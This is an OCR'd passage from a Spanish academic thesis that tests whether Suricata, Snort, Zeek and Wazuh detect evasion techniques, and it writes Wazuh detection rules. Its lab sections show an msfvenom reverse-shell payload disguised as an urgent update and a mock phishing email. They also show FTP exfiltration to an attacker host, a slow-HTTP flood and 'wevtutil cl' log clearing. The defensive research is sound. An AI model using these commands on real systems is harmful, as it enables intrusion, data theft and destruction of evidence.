Ademas, debe considerarse que el entorno de laboratorio utilizado esta limitado
a solo dos nucleos, lo cual no refleja con precision el rendimiento real que IDS como
Suricata pueden ofrecer en entornos mas adecuados. Este tipo de arquitectura multihilo
se beneficia notablemente de sistemas con multiples nicleos y mayores recursos,
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mientras que IDS con procesamiento monohilo como Snort pueden ver su capacidad
limitada mas rapidamente bajo condiciones de carga sostenida.

8.10 Técnicas de Saturacion

8.10.1 Denegacion de servicio con SlowHTTPTest

Se suele utilizar como forma de denegacion de servicio. Se basa en simular trafico
legitimo de clientes que envian o leen datos muy lentamente, consumiendo recursos para
tratar de enmascarar un ataque mayor.

El objetivo en esta ocasion es saturar el IDS con trafico aparentemente legitimo y
lento, para que no logre detectar ni alertar sobre un payload malicioso enviado durante el
ataque. [71]

Para ello, se ejecuta el comando slowhttptest indicando la apertura de 1000
conexiones HTTP, enviando cada 10 segundos las peticiones, y sin enviar completamente
los paquetes para que el servidor y el IDS sigan esperando la continuacion de la accion.

hu May 22 12:59:56 2025:

hu May 2

slow HTTP t th second:

initializing: ]
ing: 0

1000

0

0

llustracion 8.69: Ejecucion de slowhttptes. Fuente: Elaboracion propia.

El objetivo fue saturar el IDS con conexiones HTTP incompletas, enviadas cada
10 segundos, sin finalizar las peticiones. Esto mantiene al servidor y al IDS a la espera de
la continuacion, lo que permite insertar un payload malicioso sin levantar sospechas
inmediatas.

Durante la ejecucion, el servidor alcanz6 su limite de conexiones concurrentes, lo
que provocd una interrupcion temporal del servicio. No obstante, los tres IDS utilizados
mantuvieron su actividad sin degradacion perceptible, evidenciando que fue superada la
capacidad del servidor antes que la del sistema de monitoreo.
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8.10.2 Ataque de saturacion mediante volumen.

Una estrategia comun para evadir los sistemas de deteccion de intrusiones se basa
en la saturacion deliberada del entorno de monitoreo, ya sea a través del envio masivo de
trafico legitimo o mediante la generacion intencional de multiples alertas.

Ambas técnicas buscan explotar las limitaciones del andlisis humano y/o
automatico, camuflando actividades maliciosas dentro de un volumen de eventos
aparentemente normales o0 poco criticos.

Saturacion con Trdfico Legitimo

Una tactica bastante utilizada consiste en insertar un payload malicioso dentro de
una gran cantidad de solicitudes legitimas. El objetivo es generar suficiente "ruido" para
dificultar la identificacion del ataque real. Esta técnica sobrecarga al IDS, disminuyendo
su capacidad de deteccion y respuesta.

Mientras se genera este trafico, se envia un paquete con carga maliciosa. El alto
volumen de solicitudes dificulta su identificacion, pudiendo quedar oculto entre las
conexiones aparentemente inofensivas.

Generacion Masiva de Alertas (Ruido)

Otra variante de la misma estrategia consiste en activar de manera intencional
multiples alertas que, aunque no representen amenazas criticas, saturan el sistema de
monitoreo y desvian la atencion del analista. De este modo, las alertas verdaderamente
peligrosas pueden pasar desapercibidas, especialmente si no se cuenta con una buena
gestion de correlacion y priorizacion.

Durante la ejecucion de esta técnica, se lanzd un paquete disefiado
especificamente para activar alertas en el sistema. Paralelamente, se detectd un escaneo
masivo de puertos, que generé una gran cantidad de eventos. Entre estas alertas se
encontraba una de mayor gravedad, camuflada por el ruido generado.

ork
an Network

A M
A
A
A
A
A
A
A
A
A
A
A
A
A
A
a
A
a

(2 4 2 3 3 3 3

Hustracion 8.70: Alerta camuflada entre ruido. Fuente.: Elaboracion propia.
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Riesgos en Entornos Reales

En entornos de red complejos, donde el volumen de trafico y eventos es elevado,
estas técnicas de evasion pueden resultar especialmente efectivas, incluso a pesar de su
aparente simplicidad. La ausencia de una plataforma de monitoreo robusta y
correctamente configurada incrementa significativamente el riesgo de que alertas criticas
se pierdan entre una gran cantidad de eventos irrelevantes o de baja prioridad.

Por esta razon, resulta fundamental contar con herramientas que permitan
visualizar, filtrar y analizar las alertas de manera clara, eficiente y en tiempo real. Una
opcidén comunmente adoptada es la combinacion de Elasticsearch y Kibana, que posibilita
la creacion de dashboards personalizados y consultas complejas. No obstante, esta
solucion puede requerir una inversion considerable en términos de tiempo, configuracion
y mantenimiento.

Como alternativa altamente recomendable, se encuentra Wazuh, una plataforma
de seguridad integral que combina funcionalidades de HIDS y SIEM. Su instalacion y
configuracion es rapida y sencilla, ya que incluye un indexer y dashboard
preconfigurados, lo que permite comenzar a producir eventos practicamente de
inmediato. Ademas, el sistema cuenta con decoders automaticos para logs en formato
JSON, lo que reduce significativamente la necesidad de configuracion manual en muchos
de los casos. Aunque seguira siendo necesario definir reglas especificas para los eventos
que se deseen detectar o correlacionar.

= W.  MTREATTECK

Dashboard Inteligence  Framework  Events

timestamp per 30 minutes

Bttacks by tachrique Top tactics by agent

lustracion 8.71: Dashboard de Wazuh para MITRE. Fuente: Elaboracion propia del Dashboard de Wazubh.

8.11 Living of the land

La técnica “Living of the land” consiste en utilizar herramientas o programas
legitimos que se encuentran en la victima, sin instalar software adicional. Esto es
comunmente utilizado por atacantes que ya se han infiltrado en su objetivo, y quieren
realizar sus operaciones sin ser detectados, tratando de evitar actividades anormales, y
haciéndose pasar por flujo normal. [72]
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8.11.1 Previo a la evasion

Para ejecutar esta técnica, primero se requiere comprometer el sistema victima.
Una de las maneras de realizarlo, es crear un ejecutable malicioso, que, de ser ejecutado
por la victima, envia una consola al atacante. Anteriormente fue creada una similar
durante el caso de “ofuscacion polimorfica”.

/home/kali
f windows/x64/shell_reverse_tcp LHOST=10.0.4.5 LPORT=4444 —f exe ActualizacionCritica.exe
[-]1 No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-]1 No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload

Payload size: 460 bytes

Final size of exe file: 7168 bytes

Saved as: ActualizacionCritica.exe

llustracion 8.72: Creacion de un malware de Shell Reverse mediante "msfvenom". Fuente: Elaboracion propia.

Posteriormente, el atacante trata de que la victima ejecute el programa. Para ello
normalmente se recurre a técnicas de ingenieria social, como el envio del programa
mediante un correo de phishing suplantando a una fuente fiable que inste a la victima a
ejecutar el malware, como se simula en la [lustracion 8.73.

IMPORTANTE - ACTUALIZACION URGENTE

Holaa, soy tu compafiero Manolo, debes ejecutar el archivo gue te adjunto
aqui, es urgentee

g [ﬂ] 1 attachment: ActualizacionCritica.exe.gz 945 bytes & Stoor W

| ActuslizacionCritica.exe.gz 945 bytes

[lustracion 8.73: Simulacion de correo de phishing con un archivo adjunto malicioso. Fuente: Elaboracion propia.

Mientras tanto, el atacante se mantiene a la espera de una conexién por el puerto
4444 con utilidades como “netcat”, la cual se establecer si la victima ejecuta el archivo
“ActualizacionCritica.exe”.

Una vez la fase de intrusion estd completa, el atacante puede iniciar la exfiltracion
de informacion utilizando protocolos legitimos como FTP. Para automatizar esta accion,
se puede crear un archivo temporal con las instrucciones de conexion FTP, incluyendo
direccion IP del servidor, credenciales y el archivo a transferir.

B ftp.txt - Notepad

File Edit Format Wiew Help

open 10.0.4.5
evil
evilpass
ut C:Ypayload.zip

bye

Llustracion 8.74: archivo para la conexion fip, contiene la IP del servidor, credenciales, y archivo a transferir. .
Fuente: Elaboracion propia.
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Ademas, si se combinase con codificacion o cifrado, la deteccion del ataque se
dificultaria notablemente. Aunque debe tenerse en cuenta que de usar herramientas que
no estén previamente instaladas en la maquina victima, dejaria de ser considerado un

ataque LotL.

listening on

/home/kali

IN) [10.0.4.18] 49981
All rights reserved.
ftp.txt

0.0.4.5

Mlustracion 8.75: Envio de “payload.zip" mediante FTP a través de la sesion establecida con el malware de Shell

reverse. Fuente: Elaboracion propia.

Ademas del modo escucha en el puerto 4444 con netcat, es necesario que el
atacante disponga de un servidor FTP. Esto puede ser desplegado facilmente con un script
en Python, lo que facilita ain mas la operacion [73]. Aunque algunos IDS como Snort y
Suricata disponen de reglas que alertan acerca del uso de servidores desplegados con
Python por ser habitualmente usados en ataques de ciberseguridad.

/home/kali
ftp_server.py

[*] FTP Server corriendo en 0.0.0.0:21

)s

llustracion 8.76: Despliegue del servidor FTP, que recibe datos y los guarda en /tmp/ftp. Fuente: Elaboracion

concurrency model: async
masquerade (NAT) address: None
passive ports: None

>>> starting FTP server on 0.0.0.0:21, pid=2927
10.0.4.10:50132-[] FTP session opened (connect)
10.0.4.10:50132-[evil] USER 'evil’' logged in.
10.0.4.10:50132-[evil] STOR /tmp/ftp/payload.zip com
pleted=1 bytes=167 seconds=0.004

10.0.4.10:50132-[evil] FTP session closed (disconnec

propia.
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8.11.2 Suricata, Snort y Zeek

Dado que el protocolo FTP es legitimo, su uso para exfiltracion de datos suele
pasar desapercibido para sistemas de deteccion de intrusiones (NIDS) como Suricata,
Snort o Zeek. Por ello, es recomendable implementar reglas especificas que generen
alertas ante conexiones FTP hacia direcciones IP no autorizadas o desconocidas.

No. Tirr Source Destination  Protoci Length Info

3. .0.4.5 FTP 80 Response: 220 Servidor FTP activo.
.10.0.4.10 10.0.4.5 FTP 65 Request: USER evil
3.10.0.4.5 10.8.4.10 FTP 87 Response: 331 Username ok, send password.
3. 10.0.4.10 10.0.4.5 FTP 69 Request: PASS evilpass
3. 19.0.4.5 10.9.4.10 FTP 77 Response: 230 Login successful.
3.160.0.4.10 10.8.4.5 FTP 78 Request: PORT 16,0,4,10,192,215
3..10.0.4.5 10.0.4.10 FTP 95 Response: 200 Active data connection established.
3. 10.0.4.10 10.0.4.5 FTP 72 Request: STOR payload.zip
3..10.0.4.5 10.8.4.10 FTP 108 Response: 125 Data connection already open. Transfer starting.
3..10.0.4.5 10.8.4.10 FTP 78 Response: 226 Transfer complete.
3. .8.4.1 .0.4 60 Request:
3. .0.4.5 .0.4 68 Response: Goodbye.

[lustracion 8.77: Muestra de la exfiltracion mediante FTP. Fuente.: Elaboracion propia.

Al tratarse de FTP sin cifrado, se transmite toda la comunicacion en texto claro,
incluyendo la contraseia, lo que representaria un grave riesgo de seguridad de ser un caso
real.

- FTP Upload = to Internet - Possible file exfiltration = [#**x] [Classificat
.0.4.5:21
- FTP password = sended in clear text 9 - Leak @ [#*x] [Classification: Potent

llustracion 8.78: Alerta de Suricata sobre posible exfiltracion mediante FTP y regla que la activa.Fuente:
Elaboracion propia.

En el caso de Suricata, la utilidad de la alerta que se muestra en la Ilustracion 8.78
reside en la deteccion de la transmision de un archivo local a un servidor externo. Esto se
realiza al identificar el comando “STOR” de FTP en la comunicacién [74]. No obstante,
la regla puede generar falsos positivos si el uso de FTP es legitimo dentro de la red.

Una regla mas adecuada para este contexto incluiria definir una lista de
direcciones IP autorizadas para la transferencia de archivos mediante una variable
como “SEXTERNAL NET”. La alerta solo deberia activarse cuando el destino no figure
en esa lista.

En el caso de Snort, los conjuntos de reglas “community-rules” y “Emerging
Threats” no incluyen firmas especificas para detectar exfiltracion de archivos mediante
FTP. Por tanto, es necesario descargar un conjunto adicional que contenga este tipo de
reglas o crear una regla personalizada. Siendo esto ultimo lo més 16gico si solo se requiere
la deteccion de un comportamiento puntual.

Para ello, se recomienda emplear la etiqueta “service:ftp”, junto con la
implementacion de una lista blanca de direcciones IP autorizadas. Ademas, la regla debe
estar disefiada para detectar el uso del comando FTP “STOR”, indicativo del envio de
archivos, de forma similar a como se haria en Suricata [75].
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Con respecto a Zeek, este genera registros detallados de las conexiones. Cuando
se transfiere un archivo, se genera una entrada en files.log, y la informacion de la sesion
FTP queda reflejada en ftp.log.

Al igual que con los anteriores IDS, es recomendable mantener una lista de
direcciones IP autorizadas para cada servicio usado en la red.

5 . g_! .10 a_p
ld resp_| h "10.0. 4 5 1d resp p 4444 "proto": tcp ,"duration” 288 5555109582307 "orig_| b
p_bytcs falsi conn state ”local orig":true," local resp":true, "missed bytcs :0
',"crtgfpkts":11,"crtgiipibytes”:692,"resp pkts": piipfbytes":467}
:1748439148.01?6?3,"uid”:”CuTiCB}ZFeCleEgjc 1d orlg h 0.0.4.10","id. orlg p":
49923, "1id. rrsp h":"10.8.4.5","1id.resp_p":4444,"proto":"tcp OTH" local _orig":true
local _resp" true, 'missed bytes 10, "history":"R","orig_pkts":1, ortg ip_| bytes "resp_pkts":0

}
H 1748438805 702098, "fuid"
0. 0 4.5","id.o
"analyzer y
_orig":false,"” e L] e "overflow_bytes"
"8463c7a018f8al11c477call e 439313e8e69218
{"ts":1748438805 1 "id.orig_|
,"id.resp_h":"10.0.4.5","id.re : "use ,'password
"arg":"10,0,4,10,195,73","re e":20 rcply msg
a_channel.passive":false,"data_ channel. orlg h":"10.0.4.5","data_channel.resp_h"
a_channel.resp_p":49993}

:{"ts":1748438805.697011, "uid":"CJ6 ] Kij ", "id.ori
9992,"id.resp_h":"10.0.4.5","id.resp_p":21, "use vil","password":"< en>"
"arg":"ftp://10.0.4.5/. /payload.zip","reply_code":226,"reply_msg":"Transfer complete."
XnSgFHMsS69uAKX81" }

Ilustracion 8.79: Logs generados por Zeek acerca de una conexion FTP. Fuente: Elaboracion propia.

El envio de archivos mediante FTP no es necesariamente sospechoso (a no ser que
no se utilice, lo cual es poco comun en ataques LotL), lo que debe considerarse anomalo
es el destino de la conexion. Por lo tanto, la creacidon de listas blancas de direcciones
validas es una medida esencial, y ficilmente aplicable a los tres NIDS. Aunque estas listas
pueden ser gestionadas desde un firewall, es recomendable que el IDS suponga una capa
mas de seguridad, debido a la posibilidad de que firewall sea evadido.

8.12 Borrado y manipulacion de logs (Anti-forense)

Una técnica clasica de evasion consiste en eliminar los rastros de la intrusién en
los registros del sistema, con el objetivo de evitar que un SIEM pueda generar alertas o
almacenar evidencia para andlisis forense. Aunque esta accion se considera parte de las
técnicas anti-forenses, es relevante mencionarla como forma de evasion de los
mecanismos de gestion de logs.

En sistemas Windows, un atacante con privilegios de administrador puede borrar
ciertos logs con comandos como “wevtutil cl System” o “wevtutil cl Security”. Esto
elimina por completo los eventos de los visores correspondientes, impidiendo su revision
posterior.

Sin embargo, en el caso de Wazuh, el agente envia los registros en tiempo real via
syslog al servidor central, a no ser que sea configurado para enviar logs en lotes. Esto
significa que, una vez escrito un evento, ya ha sido enviado y almacenado externamente,
reduciendo significativamente el impacto de este tipo de técnicas.
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En contraste, si se transmiten los logs de forma diferida (por lotes o intervalos),
existe el riesgo de que el atacante elimine los registros antes de que sean enviados,
impidiendo su recopilacion.

File Edit Format View Help
</client_buffer> -

<!-- Log analysis -->

<localfile=
<location=application</location=
<log_format>eventchannel</Tog_format>

</Tocalfile=

<localfile=
<location=Security</location>
<log_format>eventchannel</Tog_format>

<guery=Event/System[EventID '= 5145 and EventID '= 5156 and EventID
EventID != 4b536 and EventID != 4658 and EventID != 4663 and Event
EventID != 4670 and EventID != 4690 and EventID != 4703 and Event
EventID != 51532 and EventID '= 5157]</query=
</Tocalfile=

<localfile=
<location=system</location>
<log_format>eventchannel</Tog_format>
</localfile>

<localfile=
<1ocati0n>active—resqonse\active—responses.10g<j10cati0n>
<log_format>syslog</log_format>

| | vl .z

-

llustracion 8.80: Se muestra la monitorizacion de los archivos “System”y “Security” por parte del agente de Wazuh
en la maquina victima de Windows. Fuente: Elaboracion propia.

Es importante sefialar que la accion de borrar logs también genera un nuevo evento
en el sistema, el cual serd enviado Wazuh incluso si es por diferido la ingesta. Este
comportamiento permite al SIEM generar alertas ante intentos de ocultamiento. En la
Ilustracion 8.81, se observa como el archivo Security genera un nuevo registro tras el
intento de borrado, lo cual deberia ser considerado un evento sospechoso por parte del

equipo de seguridad.
| agent.name rule.description rule.level rule.id
windows_maetasploltable3 The audit log was cleared 5 63103

C:\Usersvagrant>wevtutil ge Security /f:text /c:18
Event[B1:
Log Hame: Security
Source: Microsoft—-UWindows—-Eventlog
Date: 2025-05-21T14:48:47.356
Event ID: 1162
Task: Log clear
Level: Information
Opcode: Info
Heyword: Audit Success
User: N-/A
User Name: N-/A
Computer: vagrant—-2BB8R2
Description:
The audit log was cleared.
Subject:
Security ID: S—1-5-21-28083265569-188284663-2339788011—-1888
Account Name: vagrant
Domain Name : UAGRANT-2888 R2
Logon ID: Bx27478

llustracion 8.81: Muestra del archivo “Security” tras el borrado de logs y la regla de "Logs borrados" en el
Dashboard de Wazuh. Fuente: Elaboracion propia.

96



n Universidad de

Las Palmas de .
Gran Canaria Capitulo 9

Wazuh como SIEM

Capitulo 9 Wazuh como SIEM

9.1 La visualizacion como pieza critica

Disponer de grandes volumenes de telemetria no equivale a contar con
inteligencia utilizable. Cuando los datos llegan sin contexto, sin niveles de gravedad
consistentes o con descripciones poco claras, el analista deriva gran parte de su jornada a
“limpiar ruido” en vez de investigar incidentes. Esa sobrecarga, ya tratada al hablar de
saturacion y generacion de ruido, se traduce en fatiga de alertas y en la posibilidad real
de que un ataque pase inadvertido.

Por ello, el primer objetivo de la ingesta es normalizar y clasificar de forma
homogénea todo lo que producen los IDS y los hosts, de manera que el equipo de
ciberdefensa pueda:

o Entender las alertas generadas. Es necesario saber qué desencadena cada alerta.
Un ejemplo sencillo, es que en el Dashbord se muestre una alerta de “tunel DNS”’.
Para tratar de discernir si se trata de un ataque real o un falso positivo, es necesario
saber qué hace que se genere dicha alerta. Puede ser determinado niimero de
peticiones DNS, paquetes DNS con longitud demasiado grande, etc.

e Priorizar con rapidez, mediante niveles de alerta coherentes. El nivel de las alertas
es muy relevante a la hora de que un analista priorice los eventos a analizar. Los
IDS continuamente monitorizan la red en busca de amenazas, pero no solamente
se generan logs acerca de ataques. En ocasiones el verdadero peligro surge de la
correlacion realizada mediante los SIEM.

El ataque de fuerza bruta que se realiz6 anteriormente es un claro ejemplo
de ello. Por separado son solamente inicios de sesion incorrectos que pueden
deberse a un fallo humano, pero al juntarse un grupo extenso de intentos de
autenticacion fallidos en poco tiempo, queda en evidencia el ataque de fuerza
bruta.

e Actuar con rapidez y eficacia, la razon por la que se realiza la labor de deteccion
y centralizacion es entender rapidamente la amenaza para poder actuar.

Una mala interpretacion y gestion de los datos anula el valor que puedan
aportar. Tener miles de eventos por minuto sin contexto, sin estructura, ni correlacion,
equivale a tener una biblioteca sin indice, ni clasificacion: hay mucha informacion, pero
resulta inservible.

El SIEM, y en este caso Wazuh, no solo debe servir para recolectar logs. Su papel
fundamental es ofrecer al analista una vision precisa, priorizada y operable del entorno.
Esto exige que el motor de reglas esté cuidadosamente disefiado para:

e Eliminar o reducir el ruido.
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o Etiquetar correctamente eventos.
e Aplicar niveles de alerta consistentes.

o Relacionar eventos entre si cuando sea posible.

9.2 Configuracion del entorno de ingesta de logs

Para garantizar una vision global del entorno del laboratorio, se desplegd un
agente de Wazuh en cada IDS y maquina victima (véase anexo “12.7 Instalacion de
agentes de Wazuh™). Esto permite una recoleccion centralizada de eventos desde los 3
NIDS:

o Suricata, por defecto genera los logs tanto en formato json como texto plano, con
lo que Unicamente fue necesario afiadir el archivo eve.json a los archivos que
monitoriza el agente de Wazuh.

e Snort, se debe aplicar el moédulo alert fast para que genere las alertas, y enviar los
logs.

e Zeek, cuyas multiples salidas “.log” fueron configuradas para escribirse en
formato JSON mediante un script por defecto que ofrece el sistema, facilitando su
ingesta por parte de Wazuh.

La eleccion del formato JSON es clave, ya que Wazuh dispone de decodificadores
automaticos que decodifican este tipo de datos estructurados sin la necesidad de
manualmente crear decoders, que, si bien no es complejo, ya que se basa en el uso de
expresiones regulares para agrupar los campos de los logs recibidos, es una tarea que
puede ser costosa en cuanto a tiempo, sobretodo si se deben decodificar una cantidad
grande de logs diferentes.

9.3 Reglas

Suricata

Para Suricata, Wazuh incluye reglas por defecto que ofrecen una visibilidad basica, pero
presentan limitaciones importantes:

o No diferencian por niveles de alerta.
o No permiten filtrar alertas especificas de forma granular.
e Todas las alertas comparten el mismo ID de regla.

Esto obliga al analista a inspeccionar cada alerta manualmente para identificar su
gravedad o naturaleza.
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json

\.+
\.+

Suricata messages.
no_full_log

86600
ralerts
Suricata: Alert - S(alert.signature)
no_full_log

llustracion 9.1: Reglas por defecto de Suricata. Fuente: Elaboracion propia.

Sirven para confirmar que la ingesta estd funcionando, pero no resultan utiles en un
entorno real. Lo recomendable es desarrollar reglas personalizadas para los /ogs mas
comunes, y emplear una regla genérica inicamente como respaldo.

Snort

En el caso de Snort, la problematica de la ingesta se complica considerablemente.
Ademas de la gran variedad de tipos de logs que puede generar, es necesario crear
decodificadores manuales, ya que el médulo de registro en formato JSON no incluye
el campo correspondiente al mensaje de alerta, lo que limita la utilidad visual de los
eventos.

Si bien estas alertas pueden servir como muestra de que los /ogs estan siendo
correctamente recolectados, en un entorno real no serian utiles si no se desarrollan reglas
especificas desde el inicio. La cantidad de posibles logs que se pueden recibir es
directamente proporcional al nimero de reglas activas, por lo que construir un conjunto
de reglas adecuado representa un desafio considerable.

Al igual que con Suricata, la estrategia mas recomendable es:
o Crear reglas personalizadas para los logs mas comunes observados en la red.

e Incorporar gradualmente nuevas reglas a medida que se identifiquen nuevos
patrones.

o Utilizar una regla genérica unicamente como respaldo, en casos en los que no
exista una regla mas precisa.

Ademas, para afrontar la limitacion de no disponer de los logs en formato JSON,
es necesario crear decodificadores. Para demostrar esta dinamica, se cre6 un
decodificador bésico, tal y como se ve en la [lustracion 9.2.

Este decodificador utiliza expresiones regulares para agrupar los campos
relevantes del /og, permitiendo su uso posterior en reglas y su correcta visualizacion desde
el dashboard.
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decoder name="basic_snort_decoder">

<parent>snort</parent>

<regex type="pcre2" offset="after_parent">\s\S+\s\S+\s\S+\s(.*)\[\*\*\]\s\[(.*)
INSA\LC NI A\ L(O\S+)\F\s(\S+) : (\S+)\s->\s(\S+): (\S+)</regex>

<order>msg, classification, priority, protocol, srcip, srcport, dstip, dstport<

/decoder>

r expressions 1o,

SRR REGULAR EXPRESSION 1 match (421 steps, 500p:5) JRO)]
M Save new Regex ctrl+s \s\S+\s\S+\s\s+\s\s+ gm
ASCAND\AMNINS\[CGANINS\LC NI A {(\SH)\ a)
s (\S#): (\S#)\s—>\s(\S+) : (\S+)
FLAVOR
TEST STRING
<> PCRE2 (PHP >=7.3)
<> PCRE (PHP <7.3) 7 any->/var/log/snort/alert_fast.log
b Eciais < 05/13-04:32:23.871970 [**]+[1:498:11] + "INDICATOR-
<> ECMAScript (Javascript)
r COMPROMISE+1id*check*returned root"+[*#]+[Classification:
= Eythor Potentially-Bad-Traffic]-[Priority:+2]-{TCP}
<> Golang 10.0.4.5:56596+->+10.0.4.4:80

Llustracion 9.2: Decodificador de Wazuh junto a una demostracion de la expresion regular usada en regex101.
Fuente: Elaboracion propia junto a demostracion de uso de regex101.com.

Posteriormente, se disefio una regla sencilla, similar a la implementada para
Suricata, que simplemente muestra el mensaje de alerta, junto con la direccion IP de
origen y destino.

Snort: Alert - S(msg) from S(srcip) te S$(dstip).

llustracion 9.3: Regla de Snort para mostrar el mensaje de la alerta. Fuente: Elaboracion propia

Durante el proceso de desarrollo de decodificadores y reglas, una herramienta
especialmente util fue wazuh-logtest, ya que permite probar la decodificacion de un log
y la aplicacion de reglas, sin necesidad de reiniciar el servicio de Wazuh.

*Phase 2: Completed decoding.
name: 'snort'
classification: 'Classification: Potentially Bad Traffic'
dstip: '10.0.4.4'
89"
ATOR-COMPROMISE id check returned root" '
Priority: 2'
: 'TCP’
'16.0.4.5"
srcport: '56596'

e 3: Completed filtering (rules).
id: '100005"
level: '5'
description: 'Snort: Alert - "INDICATOR-COMPROMISE id check returned root" from 10.6.4.5 to 10.6.4.4."'

'False’
*Alert to be generated.

Hustracion 9.4: Uso de la herramienta wazuh-logtest para decodificar un log y aplicar reglas. Fuente: Elaboracion
propia

Una vez definidos tanto el decodificador como las reglas correspondientes, las

alertas deberian visualizarse en el Dashboard. Sin embargo, a diferencia de los logs en

formato JSON, el muestreo de eventos provenientes de Snort es mas complejo y

dependerd estrictamente de la coincidencia con las expresiones regulares configuradas.
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Es comin que muchos eventos de Snort no se decodifiquen correctamente si no se
contemplan todos los posibles formatos de salida.

Debido a esta complejidad, una alternativa mas eficiente podria ser desarrollar un
script en Python o Bash que transforme los logs de Snort al formato JSON, lo cual
permitiria utilizar los decodificadores automaticos de Wazuh.

8 hits
Jun 3, 2025 @ 04:12:42.264 - Jun 3, 2025 @ 06:12:42.264

Columns [% Density ¢ 1fieldssorted [ Full screen

rule.desecription -~ rule.level ~ | rule.id -
Snort: Alert - "GPL ATTACK_RESPOMNSE id check returned root” from 10.0.4.5 to 10.0.4.4. 5 100005
Snort: Alert - “INDICATOR-COMPROMISE id check returned root” from 10.0.4.5 t0 10.0.4.4. 5 100005
Snort: Alert - “INDICATOR-COMPROMISE id check returned root” from 10.0.4.5 t0 10.0.4.4. 5 100005
Snort: Alert - "ET POLICY POSSIBLE Web Crawl using Curl" from 10.0.4.5 to 10.0.4.4. 5 100005
Snort: Alert - "GPL ATTACK_RESPONSE id check returned root” from 10.0.4.5 to 10.0.4.4. 5 100005
Snort: Alert - “INDICATOR-COMPROMISE id check returned root” from 10.0.4.5 to 10.0.4.4. 5 100005
Snort: Alert - "ET POLICY POSSIBLE Web Crawl using Curl" from 10.0.4.5 to 10.0.4.4. 5 100005
Snort: Alert - “INDICATOR-COMPROMISE id check returned root” from 10.0.4.5 t0 10.0.4.4. 5 100005

lustracion 9.5: Visualizacion de alertas de Snort en el dashboard de Wazuh. Fuente: Elaboracion propia

Zeek

En cuanto a Zeek, la ingesta se simplifica considerablemente gracias a que sus
salidas fueron configuradas para estar en formato JSON, lo que permite el uso inmediato
de los decodificadores automaticos de Wazuh. Por lo tanto, el enfoque se puede centrar
exclusivamente en el disefio de reglas.

Como prueba de concepto, se cred una regla basica para detectar cualquier
conexion hacia la IP 10.0.4.4 como destino.

json

10.0.4.4
Deteccion de zeek de conexion con Metasploiable2
no_full_log

Hustracion 9.6: Regla basica para probar la ingesta de logs. Fuente: Elaboracion propia

Correlacion de eventos

Como se ha explicado anteriormente, una de las capacidades mas valiosas de un
SIEM es la correlacion de eventos, que permite detectar patrones mas complejos y
asignar mayor relevancia a ciertos incidentes.

Un ejemplo claro de esta funcionalidad se observa en la Ilustracion 9.7. En
primera instancia, una alerta es generada por Zeek ante la deteccion de un posible tinel
DNS. Posteriormente, una segunda regla se activa si se han generado 10 alertas iguales
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en un lapso de 240 segundos. Este mecanismo incrementa el nivel de peligrosidad, ya que
una frecuencia elevada sugiere una amenaza real mas que un falso positivo aislado.

json

. *DNS_TUNNEL . *
Posible tidnel DNS detectado
no_full_log

100027
Miltiples alertas de tinel DNS detectadas
no_full_log

llustracion 9.7: Reglas referentes a deteccion de tuneles DNS. Fuente: Elaboracion propia
Este tipo de reglas son altamente recomendables, ya que:
o Utilizan identificadores distintos para reglas diferentes.
e Proveen mensajes claros sobre la amenaza.

e Mejoran la priorizacion y visibilidad en el Dashboard.

@ May 26, 2025 @ 22:18:07.4... Zeek Miiltiples alertas de tinel DNS detectadas 10 100028
[@  May 26,2025 @ 22:18:05.7.. Zeek Posible tinel DNS detectado 6 100027
[@  May 26,2025 @ 22:18:03.3.. Zeek Posible tinel DNS detectado 6 100027
[@  May 26,2025 @ 22:18:03.3.. Zeek Posible tinel DNS detectado 6 100027
[@  May 26,2025 @ 22:17:25.6.. Zeek Posible tinel DNS detectado 6 100027
@ May 26, 2025 @ 22:17:23.9... Zeek Posible tlinel DNS detectado 6 100027
[@  May 26,2025 @ 22:17:23.4.. Zeek Posible tinel DNS detectado 6 100027

Hlustracion 9.8: Alertas acerca de tuneles DNS aplicando correlacion de eventos. Fuente: Elaboracion propia

Ademas, es importante mencionar que Wazuh permite el uso de un amplio
conjunto de etiquetas y atributos para enriquecer la creacion de reglas. Esto puede verse
tanto en su documentacidon oficial [76] como en reglas bien estructuradas como las
incluidas para servicios como Office365.

102



n Universidad de

Las Palmas de
Gran Canaria

Capitulo 10 Resultados

10.1 Tabla de resultados de deteccion

La siguiente tabla muestra, de forma resumida, la eficacia de deteccion para cada

técnica de evasion empleada utilizando los siguientes indicadores:

_ Suricata Snort Zeek Wazuh
Ofuscacién M No detecta X No detecta X No detecta los No anlica
los complejos los complejos complejos P
Codificacion X No detecta X No detecta X No detecta No aplica
2 1. Detecta 1. Detecta Deteccion .
T 1 DNS . . . . N 1
Hne registro NULL registro NULL mediante script 0 apiica
Tinel ICMP Firma Firma 4 Deteccion No aplica
ptunnel ptunnel mediante script p
. > No tiene X No tiene X No tiene .
Cifrad
tirado visibilidad visibilidad visibilidad il
. X No tiene ¥ No tiene ¥ No tiene .
Compresion 1
prest visibilidad visibilidad visibilidad LOEIE
Desactivacion del . . . A Se deteota.
aente de Wazuh No aplica No aplica No aplica Pero puede
parecer legitimo.
At v
frazgll::en::loes Detecta tras Detecta tras a?or'if:ﬁ:ta Nolaplica
diminutos (Tiny) reensamblado reensamblado foeriliag)
Evasion por
tiempo — X No detecta ¥ No detecta X No detecta No aplica
Escaneo de modo lento modo lento modo lento P
Puortoe
Evasion por
tiempo — A No detecta X No detecta X No detecta A No detecta
Fuerza Bruta
. r v
Ofuscacion A No detecta, X No detecta, .(?eticm No aplica
Polimoérfica no tiene firma no tiene firma mediante 0 aphe
comportamiento
Suplantacién IP - 1. Detecta 1. Detecta 1. Detecta
IDLE SCAN escaneo, no escaneo, no escaneo, no No aplica
suplantacion suplantacion suplantacion
Suplantacion IP - Persiste la Persiste la Persiste la No anlica
DoS deteccion deteccion deteccion p
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Técnicas de 4 Persiste la Persiste la Persiste la No aplica
DoS/Saturacion deteccion deteccion deteccion p
Living off the ) _ fDe;e;t; > No detecta X Detecta logs No aplica
Land (LotL) ratico exfiltracion FTP, no sospecha P
sospechoso
Anti-analisis
v
forense (borrado No aplica No aplica No aplica b. Dc;:tecta el
de logs) orrado

: Deteccion clara y efectiva.

I, : Deteccion parcial o

Tabla 10.1: Resumen de resultados obtenidos. Fuente: Elaboracion propia X X L.
ambigua (requiere analisis

adicional o puede parecer legitima).
Y : No detecta.

: No aplica o no evaluado por limitaciones del sistema.
10.2 Observaciones de cada IDS

Suricata
Suricata mostr6 un desempefio so6lido en deteccion basada en firmas,
aprovechando eficazmente el conjunto Emerging Threats (Proofpoint). Siendo capaz de

identificar diversos ataques.
o Fortalezas:
